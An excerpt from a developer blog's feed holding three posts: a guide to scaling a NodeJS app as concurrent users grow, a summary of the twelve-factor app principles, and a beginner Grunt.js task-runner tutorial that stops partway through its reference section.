    <link href="https://adrianmejia.com/how-to-scale-a-nodejs-app-based-on-number-of-users/"/>
    <id>https://adrianmejia.com/how-to-scale-a-nodejs-app-based-on-number-of-users/</id>
    <published>2016-03-23T21:34:11.000Z</published>
    <updated>2016-03-23T21:34:11.000Z</updated>
    
    <content type="html"><![CDATA[<p>Massive success is the best that could happen to any application. But, it could be a blessing and a curse for developers. Dealing with downtime, high availability and trying to scale. The following is a guideline on how to scale the web applications as the number of users grows.</p>
<a id="more"></a>

<p>One of the most dreaded questions is: ‘Would that scale?’. The following is a guideline on how to grow the web applications as the number of users grows. Scaling an application too early is more painful than beneficial. This guide provides a way how to start simple and scale as the number of users grows.</p>
<p><strong>Common Server Setups For Scaling Your Web Application</strong></p>
<p>The examples and solutions will be as practical as possible. We might use references to Amazon Web Services (AWS), Digital Ocean or other cloud solutions. Also, there are some NodeJS/Nginx references, but they could easily be translated to other technologies.</p>
<p>You may notice, that the measurement we are using is “concurrent user”, which means all users are hitting the web app at the same time. It’s different from the number of users supported (which might be higher) since it’s unlikely that all users are hitting the app at the same time. However, we are going to use “concurrent user” since it’s easier to explain.</p>
<h2 id="Local-host-1-concurrent-users"><a href="#Local-host-1-concurrent-users" class="headerlink" title="Local host (1 concurrent users)"></a>Local host (1 concurrent users)</h2><p>You are the only one using your app on your localhost.</p>
<p>There is no need to worry about scale.</p>
<h2 id="Single-Server-2-9-concurrent-users"><a href="#Single-Server-2-9-concurrent-users" class="headerlink" title="Single Server (2 - 9 concurrent users)"></a>Single Server (2 - 9 concurrent users)</h2><p>You deployed your app to the wild! 👏🏻 You and your colleges (and maybe close friends) are the only users so far.</p>
<p>Everything is great on a single server as long as you are using a web server that uses an event model like Nginx. NodeJS by nature uses an event-driven and non-blocking I/O model. It means that it won’t block with a single request, rather it will handle all the request and reply as data from database or services comes available in a callback/promise. Your Node app will spend most of the time waiting for the database or file system to respond. In the meantime, it can take multiple requests.</p>
<p>Your app should be a monolith (single app) right now, and it’s fine. No need to complicate your life for just a few users yet.If people are reporting bugs, unfortunately, as you make changes, you will need to take it down the app while updating the server. Using AWS t2.micro/t2.nano or equivalent (1 CPU/ 1 GB RAM) will do.</p>
<img src="/images/10_users.png" class="" title="Single Server Setup">

<p>The “Single Server Setup” is the simplest. Web application and database share the same resources (CPU, Memory RAM, I/O).</p>
<h2 id="Vertical-Scaling-10-99-concurrent-users"><a href="#Vertical-Scaling-10-99-concurrent-users" class="headerlink" title="Vertical Scaling (10 - 99 concurrent users)"></a>Vertical Scaling (10 - 99 concurrent users)</h2><p>You decided to talk about your app in your social networks 👍🏻. Your friends from Facebook and other social network start clicking the link to your web app at once and you are getting around 100 users.</p>
<p>Requests might start to take longer, and things start to become slower. You need a bigger box! This is called <strong>vertical scaling</strong>. Vertical scale means upgrading a single server hardware with more resources such as higher/faster CPU, RAM, HDD, and I/O.</p>
<p>If you are using AWS, you might upgrade to a t2.medium or equivalent (2 CPU / 4 GB RAM). An additional benefit of having multi CPU cores. We can run two instances of your NodeJS and load balance it with Nginx. Multiple instances of your app mean that you could achieve zero-downtime deployment/updates. You can upgrade one server while the other keeps serving the requests. For example, take down server #1, while server #2 continues serving the request. Then, bring up server #1 and take down server #2 to update it. In the end, no request will be dropped, and your app is fully updated.</p>
<img src="/images/100_users.png" class="" title="Scaling a Single Server">

<p>This setup has several improvements over the previous one:</p>
<ul>
<li>Nginx takes care of users requests and accomplish two functions: static filers server and reverse proxy. It serve by itself all static files (CSS, JS, Images) without touching the web app. The request that needs the app to resolve are redirected it, this is called reverse proxy.</li>
<li>Zero-downtime upgrades.</li>
</ul>
<h2 id="Horizontal-Scaling-100-999-concurrent-users"><a href="#Horizontal-Scaling-100-999-concurrent-users" class="headerlink" title="Horizontal Scaling (100 - 999 concurrent users)"></a>Horizontal Scaling (100 - 999 concurrent users)</h2><p>Looks like the hard work has paid off and your app continue growing to around 1,000 users! 🙌🏻</p>
<p>After some time, the app is becoming slow again. Probably, the bottleneck is on the I/O. Database is taking longer to respond. We could keep upgrading to m4.xlarge or equivalent (4 CPU / 16 GB RAM). 4 CPU means that you could have also have multiple instances of the database/app. This is called <strong>horizontal scaling</strong>.</p>
<p>There is a point where vertical scaling is not cost/effective anymore especially. For instance, on look at this comparison and prices from Digital Ocean:</p>
<img src="/images/vertical_vs_horizontal_scaling.png" class="" title="Vertical vs Horizontal Scaling">

<p>On AWS will a little bit more wider the price range: $37.44/mo vs $172.08/mo.</p>
<p>Vertical scaling has another issue: all your eggs are in one basket. If the server goes down, you’re screwed! On the other hand, horizontal scaling will give you redundancy and failover capabilities if done right.</p>
<p>At this point, it’s better to start scaling horizontally rather than vertically. The bottleneck is most likely on the database. So, we can:</p>
<ul>
<li>Move the database to a different server and scale it independently</li>
<li>Add replica set if the database hits its limit and db caching if it makes sense.</li>
</ul>
<p>Since the Node is very efficient, it will spend most of the time waiting for the database to return data. So, the main limitation will be dictated by the network limits. You might need to play also with <code>/etc/security/limits.d</code> and <code>/etc/sysctl.conf</code> based on your needs. For instance the maximum number of requests queued are determined by <code>net.core.somaxconn</code>, which defaults to 128. Change it to <code>1024</code> so we can meet the 100 - 999 range of users. From now on, let’s handle 1000 users per application server.</p>
<h2 id="Multi-servers-1-000-concurrent-users"><a href="#Multi-servers-1-000-concurrent-users" class="headerlink" title="Multi-servers (1,000+ concurrent users)"></a>Multi-servers (1,000+ concurrent users)</h2><p>The app keeps growing and now we need to prepare to support around 10k users!</p>
<p>We can improve our previous setup, as follows:</p>
<ul>
<li>Add load balancer (e.g. ELB) and add app units.</li>
<li>Use multiple availability zones (AZ) in a region (e.g. us-east-1, us-west-1), which one are connected through low latency links.</li>
<li>Split static files to different server/service for easier maintenance. (e.g. AWS S3 and CloudFront CDN). Add CDN for static files for optimizing cross-origin performance and lower the latency. You can store assets such as Javascript, CSS, images, videos, and so on.</li>
</ul>
<p>Using Elastic Load Balancer (ELB) with Route 53 is Amazon AWS specific, but there are similar solutions for other clouds providers. ELB is a load balancer managed by AWS and is available in all existing AZ. ELB has health checks so it won’t route to a failing host. It also can manage around 1000s instances.</p>
<img src="/images/10k_users.png" class="" title="Horizontal Scaling">

<p>In this server setup, we started growing horizontally rather than vertically. In other words, we separated web application from database and scale each one with multiple instances. There are several advantages of having the database in a different server than the app:</p>
<ul>
<li>Application and database doesn’t fight for the same resources.</li>
<li>We can scale each tier (app, db) independently to as many as we need.</li>
</ul>
<p>The cons is that getting this setup is more complicated. Furthermore, since app and db are not in the same server performance issues might arise due to network latency or bandwidth limits. It maximize performance, it’s recommended to use private networks with low latency and high speed links.</p>
<h2 id="Microservices-100-000-concurrent-users"><a href="#Microservices-100-000-concurrent-users" class="headerlink" title="Microservices (100,000+ concurrent users)"></a>Microservices (100,000+ concurrent users)</h2><p>This is it! We need to plan the infrastructure to allow us to grow to infinity! ∞</p>
<p>So far, we have been leveraging vertical and horizontal scaling, we have separated web apps from databases instances, and deploy them to multiple regions. However, we have been a single code based that handles all the work in our application. We can break it down into smaller pieces and scale them as needed. Going from monolith to microservices.</p>
<p>It’s time to take down our web app monolith and break it down into multiple smaller and independent components (microservices/SOA) that we can scale independently. We don’t have to do the break down all at once. We can have the monolith keep doing what it was doing and start writing small client apps performs some of the task that the main app used to do. Later, we can use the load balancer to redirect the traffic to the new small service instead of the main app. Eventually, we can remove the code from the monolith since the new microservice has fully replaced it. Repeat this process as many time as needed to create new microservices. It should looks something like this:</p>
<img src="/images/1m_users.png" class="" title="Microservices Setup">

<p>If you notice, we have three new components that can scale independently as needed: Users, Products Catalog, and Orders for instance. Another advantages of having microservices is that we can have split the database as well.</p>
<h2 id="Automate-Chores-1-000-000-concurrent-users"><a href="#Automate-Chores-1-000-000-concurrent-users" class="headerlink" title="Automate Chores (1,000,000+ concurrent users)"></a>Automate Chores (1,000,000+ concurrent users)</h2><p>OMG! That’s so many people, get you champagne bottle out and celebrate 🎉after you automate!</p>
<p><strong>Automate</strong> as much as you can. The infrastructure is getting fat. We have db replicas and sharding, horizontal scaling, multiple regions and multi-AZ, autoscaling.</p>
<p><strong>Highly Available, Multi-Region</strong> At this point, to scale we just keep adding instances and spreading across availability zones and regions based on the source of the traffic. If you notice that a significant amount of traffic is coming from Australia and Germany maybe it’s the time to make your app available there (e.g. ap-southeast-2, eu-central-1). Bear in mind that regions doesn’t provide low latency links between them. One way to work around this issue is sharding the database.</p>
<p><strong>Autoscaling</strong> It would be a waste if you always allocate servers for peak capacity. User traffic has peaks (e.g. Black Friday) and valleys (e.g. 4 am.). That said, it’s better to put in place an autoscaling option that allows the network to adjust to the traffic conditions. There are multiple strategies to autoscale such as CPU utilization, scale based on latency or based on network traffic.</p>
<p><strong>Metrics</strong> You will also need metrics, monitoring and centralize logging. Measure everything that can be measured. Server nodes might start to fail randomly, and you don’t want to login/SSH into each one to determine the cause. You can avoid that by having a centralized logging solution such as the ELK stack (Elasticsearch, Logstash, and Kibana). For monitoring, you can try DataDog, it has very nice visualization about the servers and CPU/RAM stats. Actully, in DataDog you can aggregate any data that you want.</p>
<p><strong>Customization</strong> Databases might still be a headache to scale. If you identify that your use case it’s better solved with a different NoSQL solution, go for it. Try always to not reinvent the wheel, but if there’s no solution out there for your particular need, consider doing your own.</p>
<p>For more general guidelines <a href="/blog/2016/01/09/how-to-build-scalable-apps/">read my previous post</a>.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Massive success is the best that could happen to any application. But, it could be a blessing and a curse for developers. Dealing with downtime, high availability and trying to scale. The following is a guideline on how to scale the web applications as the number of users grows.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="scaling" scheme="https://adrianmejia.com/tags/scaling/"/>
    
  </entry>
  
  <entry>
    <title>How to build scalable apps?</title>
    <link href="https://adrianmejia.com/how-to-build-scalable-apps/"/>
    <id>https://adrianmejia.com/how-to-build-scalable-apps/</id>
    <published>2016-01-09T15:43:27.000Z</published>
    <updated>2016-01-09T15:43:27.000Z</updated>
    
    <content type="html"><![CDATA[<p>Scaling application is not an easy topic to cover in one post. So in this first post, you can find “the mindset” to build scalable apps using the 12-factor principles. In the <a href="/blog/2016/03/23/how-to-scale-a-nodejs-app-based-on-number-of-users/">next post</a>, you will find more down to earth examples one how to scale based on the number of users.</p>
<p>The Twelve steps are a compilation of guidelines to ensure apps can scale up without significant changes and tooling. These are very suitable for cloud platforms and continuous deployment. Furthermore, these principles are language agnostic, so it will work with any framework.</p>
<a id="more"></a>

<p><strong>The Twelve Factor Principles</strong></p>
<h2 id="One-codebase-per-app-multiple-deployments"><a href="#One-codebase-per-app-multiple-deployments" class="headerlink" title="One codebase per app, multiple deployments"></a>One codebase per app, multiple deployments</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>One codebase to rule all deployment environments: production, staging, local and so on and differentiate them from config files (see #3).</li>
</ul>
<p><i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <em>DON’T</em></p>
<ul>
<li>Multiple apps sharing the same code. INSTEAD the common code should be extracted from a library and included through a dependency manager.</li>
</ul>
<h2 id="Declare-and-isolate-dependencies"><a href="#Declare-and-isolate-dependencies" class="headerlink" title="Declare and isolate dependencies"></a>Declare and isolate dependencies</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>Have a dependency declaration manifest (e.g. packages.json, Gemfile)</li>
<li>Execute dependencies in isolation per app (e.g. bundle exec).</li>
</ul>
<p><i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <em>DON’T</em></p>
<ul>
<li>Rely on implicit existence of system-wide packages (e.g. curl, ImageMagik). INSTEAD vendor them into the app.</li>
</ul>
<h2 id="Store-the-config-in-the-environment"><a href="#Store-the-config-in-the-environment" class="headerlink" title="Store the config in the environment"></a>Store the config in the environment</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>Separate app’s config (AWS S3, passwords, Google/Fb/Tw/APIs credentials, deployment hostname) from the code.</li>
<li>Keep the code ready in a way that if were open source, it wouldn’t compromise any credentials.</li>
<li>Use/commit ‘config’ files with sensitive information into repository. INSTEAD use environmental variables (env, env vars) which are easily changed between deployments and without changing code.</li>
</ul>
<p><i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <em>DON’T</em></p>
<ul>
<li>Group config variables by environment (e.g. AWS_S3_PRODUCTION, AWS_S3_TEST, AWS_S3_QA, AWS_S3_STAGING, AWS_S3_JOE…). INSTEAD use clean environment variables (e.g. AWS_S3) that are managed individually per deploy.</li>
</ul>
<h2 id="Swappable-local-and-third-party-services"><a href="#Swappable-local-and-third-party-services" class="headerlink" title="Swappable local and third party services"></a>Swappable local and third party services</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>Services like databases (e.g. MongoDB, PostgreSQL), message queues (e.g. RabbitMQ, Beanstalkd) should be accessed via URL or locator/credential stored in config.</li>
<li>Swapping local to production services should be done without any code changes.</li>
</ul>
<h2 id="Build-and-runtime"><a href="#Build-and-runtime" class="headerlink" title="Build and runtime"></a>Build and runtime</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>Code changes flows in one direction only development -&gt; build -&gt; run time environments.</li>
</ul>
<h2 id="Execute-the-app-as-share-nothing-stateless-processes"><a href="#Execute-the-app-as-share-nothing-stateless-processes" class="headerlink" title="Execute the app as share-nothing stateless processes"></a>Execute the app as share-nothing stateless processes</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>Store any persistent data in external services (such as databases)</li>
</ul>
<p><i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <em>DON’T</em></p>
<ul>
<li>Use the filesystem/memory to save states. INSTEAD any instance of the app should be able to handle requests.</li>
</ul>
<h2 id="Export-services-via-port-binding"><a href="#Export-services-via-port-binding" class="headerlink" title="Export services via port binding"></a>Export services via port binding</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>App is completely self-contained and communicates with other processes through port binding.</li>
</ul>
<h2 id="Scale-out-the-app-horizontally"><a href="#Scale-out-the-app-horizontally" class="headerlink" title="Scale out the app horizontally"></a>Scale out the app horizontally</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>Scale app horizontally since the app is a stateless and share-nothing model.</li>
</ul>
<p><i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <em>DON’T</em></p>
<ul>
<li>Daemonize. INSTEAD use operating system manager such as Upstart or init and Foreman in development.</li>
</ul>
<h2 id="Fast-startup-and-shutdown"><a href="#Fast-startup-and-shutdown" class="headerlink" title="Fast startup and shutdown"></a>Fast startup and shutdown</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>app start in few seconds to serve requests or jobs.</li>
<li>shut down gracefully after receiving SIGTERM signal  (stop receiving new request/jobs, finish processing current request/job before stopping).</li>
</ul>
<h2 id="Keep-development-staging-and-production-as-similar-as-possible"><a href="#Keep-development-staging-and-production-as-similar-as-possible" class="headerlink" title="Keep development, staging, and production as similar as possible"></a>Keep development, staging, and production as similar as possible</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>design app for continuous deployment keeping the tools gaps and deployment times as minimum as possible.</li>
<li>code from development to production should take few hours or just few minutes.</li>
<li>developers who wrote the code should be able to deploy it to production.</li>
<li>keep production and development tool the same as possible</li>
</ul>
<p><i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <em>DON’T</em></p>
<ul>
<li>use different services on production and development (e.g. development using SQLite and production ProtgreSQL).</li>
</ul>
<h2 id="Logs-goes-to-stdout"><a href="#Logs-goes-to-stdout" class="headerlink" title="Logs goes to stdout"></a>Logs goes to stdout</h2><p><i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <em>DON’T</em></p>
<ul>
<li>write logs to a particular location in the filesystem. INSTEAD send them to STDOUT, so they can be routed as will depending the environment (e.g. output to terminal in development and output to log file in production)</li>
</ul>
<h2 id="Admin-processes"><a href="#Admin-processes" class="headerlink" title="Admin processes"></a>Admin processes</h2><p><i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <em>DO</em></p>
<ul>
<li>favor languages/frameworks that use REPL shell out of the box to do admin tasks such as migrating databases, running consoles or running one-time scripts.</li>
</ul>
<p>This is just the beginning follow up with <a href="/blog/2016/03/23/how-to-scale-a-nodejs-app-based-on-number-of-users/">this next post</a>.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Scaling application is not an easy topic to cover in one post. So in this first post, you can find “the mindset” to build scalable apps using the 12-factor principles. In the &lt;a href=&quot;/blog/2016/03/23/how-to-scale-a-nodejs-app-based-on-number-of-users/&quot;&gt;next post&lt;/a&gt;, you will find more down to earth examples one how to scale based on the number of users.&lt;/p&gt;
&lt;p&gt;The Twelve steps are a compilation of guidelines to ensure apps can scale up without significant changes and tooling. These are very suitable for cloud platforms and continuous deployment. Furthermore, these principles are language agnostic, so it will work with any framework.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="scaling" scheme="https://adrianmejia.com/tags/scaling/"/>
    
  </entry>
  
  <entry>
    <title>Grunt JS tutorial from Beginner to Ninja</title>
    <link href="https://adrianmejia.com/grunt-js-tutorial-from-beginner-to-ninja/"/>
    <id>https://adrianmejia.com/grunt-js-tutorial-from-beginner-to-ninja/</id>
    <published>2014-10-07T14:41:13.000Z</published>
    <updated>2014-10-07T14:41:13.000Z</updated>
    
    <content type="html"><![CDATA[<p>Sometimes you find yourself doing the same tasks again and again, especially during web development. It is time to automate repetitive tasks and use that time in more creative activities. This is where Grunt comes in. Grunt is a popular task runner that runs on NodeJS. It can minify CSS/JavaScript, run linting tools (JSHint, JSlint, CSSlint), deploy to server, and run test cases when you change a file to name a few. All the information I found about Grunt and similar Javascript test runners were too verbose and not very helpful to get started quickly. So, I decided to make this tutorial.</p>
<a id="more"></a>

<h2 id="Beginner-Grunt-js-101"><a href="#Beginner-Grunt-js-101" class="headerlink" title="Beginner: Grunt.js 101"></a>Beginner: Grunt.js 101</h2><p>Grunt.js is a Javascript task runner. At its bare core it does file manipulation (mkdir, reads, write, copy), print messages and helper methods to organize and configure multiple tasks. It takes care of differences among Operating Systems for you. However, the real power comes in with the number of available plugins ready to use. Usually named <code>grunt-contrib-*</code>. Let’s start from scratch!</p>
<h2 id="Hello-Wold-from-GruntJS"><a href="#Hello-Wold-from-GruntJS" class="headerlink" title="Hello Wold from GruntJS"></a>Hello Wold from GruntJS</h2><p>You need to <a href="/blog/2014/10/01/creating-a-restful-api-tutorial-with-nodejs-and-mongodb/#nodejs">install Node.js and NPM</a> to follow along with this example.</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mkdir grunt101 &amp;&amp; <span class="built_in">cd</span> grunt101</span><br><span class="line"></span><br><span class="line"><span class="comment">## start Node.js project and answer the questions (or leave it in blank)</span></span><br><span class="line">npm init</span><br><span class="line"></span><br><span class="line"><span class="comment">## add Grunt as a dependency</span></span><br><span class="line">npm install grunt  --save-dev</span><br></pre></td></tr></table></figure>

<p>If you run the grunt command you will get a message like this:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">grunt</span><br><span class="line"><span class="comment">## A valid Gruntfile could not be found. Please see the getting started guide for more information on how to configure grunt: http://gruntjs.com/getting-started</span></span><br><span class="line"><span class="comment">## Fatal error: Unable to find Gruntfile.</span></span><br></pre></td></tr></table></figure>

<p>So, let’s create the <code>Gruntfile.js</code> file:</p>
<figure class="highlight javascript"><figcaption><span>Gruntfile.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> grunt = <span class="built_in">require</span>(<span class="string">&#x27;grunt&#x27;</span>);</span><br><span class="line"></span><br><span class="line">grunt.registerTask(<span class="string">&#x27;default&#x27;</span>, <span class="string">&#x27;default task description&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;hello world&#x27;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>If you run <code>grunt</code> again, you will see a message. The default task is run when nothing else it is specified. We are going to create a 2nd task called ‘hello’ and it is going to accept a parameter that we can pass along with the task name separated with a colon. As follows: <code>grunt hello:adrian</code>. We can handle errors using <code>grunt.warn</code>. Every time a <code>grunt.warn</code> is found the task will stop executing, and it will give its warning message.. You can override using <code>--force</code>. Try all this commands and noticed the different effects: <code>grunt</code>, <code>grunt hello</code>, <code>grunt hello --force</code>, <code>grunt hello:adrian</code>.</p>
<figure class="highlight javascript"><figcaption><span>Gruntfile.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> grunt = <span class="built_in">require</span>(<span class="string">&#x27;grunt&#x27;</span>);</span><br><span class="line"></span><br><span class="line">grunt.registerTask(<span class="string">&#x27;default&#x27;</span>, <span class="string">&#x27;default task description&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;hello world&#x27;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">grunt.registerTask(<span class="string">&#x27;hello&#x27;</span>, <span class="string">&#x27;say hello&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params">name</span>)</span>&#123;</span><br><span class="line">  <span class="keyword">if</span>(!name || !name.length)</span><br><span class="line">    grunt.warn(<span class="string">&#x27;you need to provide a name.&#x27;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;hello &#x27;</span> + name);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>We can chain multiple grunt tasks by using and array. Change the <code>Gruntfile.js</code> for the following and see what will happen when you type <code>grunt</code>.</p>
<figure class="highlight javascript"><figcaption><span>Gruntfile.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> grunt = <span class="built_in">require</span>(<span class="string">&#x27;grunt&#x27;</span>);</span><br><span class="line"></span><br><span class="line">grunt.registerTask(<span class="string">&#x27;world&#x27;</span>, <span class="string">&#x27;world task description&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;hello world&#x27;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">grunt.registerTask(<span class="string">&#x27;hello&#x27;</span>, <span class="string">&#x27;say hello&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params">name</span>)</span>&#123;</span><br><span class="line">  <span class="keyword">if</span>(!name || !name.length)</span><br><span class="line">    grunt.warn(<span class="string">&#x27;you need to provide a name.&#x27;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;hello &#x27;</span> + name);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">grunt.registerTask(<span class="string">&#x27;default&#x27;</span>, [<span class="string">&#x27;world&#x27;</span>, <span class="string">&#x27;hello:adrian&#x27;</span>]);</span><br></pre></td></tr></table></figure>


<h2 id="Reference-1-Grunt-tasks-config-and-warnings"><a href="#Reference-1-Grunt-tasks-config-and-warnings" class="headerlink" title="Reference 1: Grunt tasks, config and warnings"></a>Reference 1: Grunt tasks, config and warnings</h2><p>Here are some of the methods that we have used so far and some more that we will use in the next examples:</p>
<h3 id="Grunt-config"><a href="#Grunt-config" class="headerlink" title="Grunt config"></a>Grunt config</h3><ul>
<li><p><a href="http://gruntjs.com/api/grunt.config#grunt.config.init">grunt.initConfig(configObject)</a>: Initialize a configuration object. It can be accessed by <code>grunt.config.get</code>.</p>
</li>
<li><p><a href="http://gruntjs.com/api/grunt.config#grunt.config.get">grunt.config.get([prop])</a>:  get the prop value from the <code>grunt.initConfig</code>. The property could be deeply nested (e.g. <code>concat.options.dest</code>) and the values inside <code>&lt;% %&gt;</code> are expanded.</p>
</li>
</ul>
<h3 id="Grunt-tasks"><a href="#Grunt-tasks" class="headerlink" title="Grunt tasks"></a>Grunt tasks</h3><ul>
<li><a href="http://gruntjs.com/api/grunt.task#grunt.task.registertask">grunt.registerTask(taskName[, description], taskFunction)</a>: register a task.<ul>
<li><strong>taskName</strong>: required to register the task and it allows the task to be e executed with <code>grunt taskName</code> or called by other grunt task.</li>
<li><strong>description</strong>: (optional) string describing task.</li>
<li><strong>taskFunction</strong>: function which can accept parameters separated by colons (:). E.g. <code>grunt taskName:arg1:arg2</code></li>
</ul>
</li>
</ul>
<ul>
<li><a href="http://gruntjs.com/api/grunt.task#grunt.task.registertask">grunt.task.registerTask(taskName, taskList)</a>: register task.<ul>
<li><strong>taskName</strong>: required to register the task and it allows the task to be e executed with <code>grunt taskName</code> or called by other grunt task.</li>
<li><strong>taskList</strong>: array of taskNames to be executed, in the order specified, when the taskName is called. E.g.: <code>grunt.registerTask(&#39;concatAll&#39;, [&#39;concat:templates&#39;, &#39;concat:javascripts&#39;, &#39;concat:stylesheets&#39;]);</code></li>
</ul>
</li>
</ul>
<ul>
<li><a href="http://gruntjs.com/api/grunt.task#grunt.task.registermultitask">grunt.registerMultiTask(taskName[, description], taskFunction)</a>: multi-tasks accepts the same parameters as <code>grunt.registerTask</code>. However, it reads <code>grunt.initConfig</code> parameters differently:<ol>
<li>Grunt looks for a config that matches the taskName.</li>
<li>MultiTask can have multiple configurations referred as <code>this.target</code> and the value as <code>this.data</code>.</li>
<li>All the “targets” are run if it is not specified otherwise.</li>
</ol>
</li>
</ul>
<figure class="highlight javascript"><figcaption><span>registerMultiTask Example</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">grunt.initConfig(&#123;</span><br><span class="line">  print: &#123;</span><br><span class="line">    target1: [<span class="string">&#x27;index.html&#x27;</span>, <span class="string">&#x27;src/styles.css&#x27;</span>, <span class="number">2</span>],</span><br><span class="line">    target2: <span class="string">&#x27;data&#x27;</span>,</span><br><span class="line">    hello: <span class="string">&#x27;world&#x27;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">grunt.registerMultiTask(<span class="string">&#x27;print&#x27;</span>, <span class="string">&#x27;print targets&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">  grunt.log.writeln(<span class="built_in">this</span>.target + <span class="string">&#x27;: &#x27;</span> + <span class="built_in">this</span>.data);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>You can specify one target <code>grunt print:hello</code> or run all them <code>grunt print</code> which will produce this output:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Running &quot;print:target1&quot; (print) task</span><br><span class="line">target1: index.html,src&#x2F;styles.css,2</span><br><span class="line"></span><br><span class="line">Running &quot;print:target2&quot; (print) task</span><br><span class="line">target2: data</span><br><span class="line"></span><br><span class="line">Running &quot;print:hello&quot; (print) task</span><br><span class="line">hello: world</span><br></pre></td></tr></table></figure>

<h3 id="Grunt-Errors-and-Warnings"><a href="#Grunt-Errors-and-Warnings" class="headerlink" title="Grunt Errors and Warnings"></a>Grunt Errors and Warnings</h3><ul>
<li><p><a href="http://gruntjs.com/api/grunt.fail#grunt.fail.warn">grunt.fail.warn(error [, errorcode])</a>: prints to STDOUT a message and abort grunt executions. It can be override using <code>--force</code> and it can show the stack trace if <code>--stack</code> is given. e.g. <code>grunt taskName --force --stack</code>.</p>
</li>
<li><p><a href="http://gruntjs.com/api/grunt.fail#grunt.fail.fatal">grunt.fail.fatal(error [, errorcode])</a>: similar to <code>warn</code>, displays message to STDOUT and terminate Grunt. Cannot be <code>--force</code>ed and it emits a beep unless <code>--no-color</code> parameter is passed. It also accepts <code>--stack</code>. E.g. <code>grunt taskName --no-color --stack</code>.</p>
</li>
</ul>
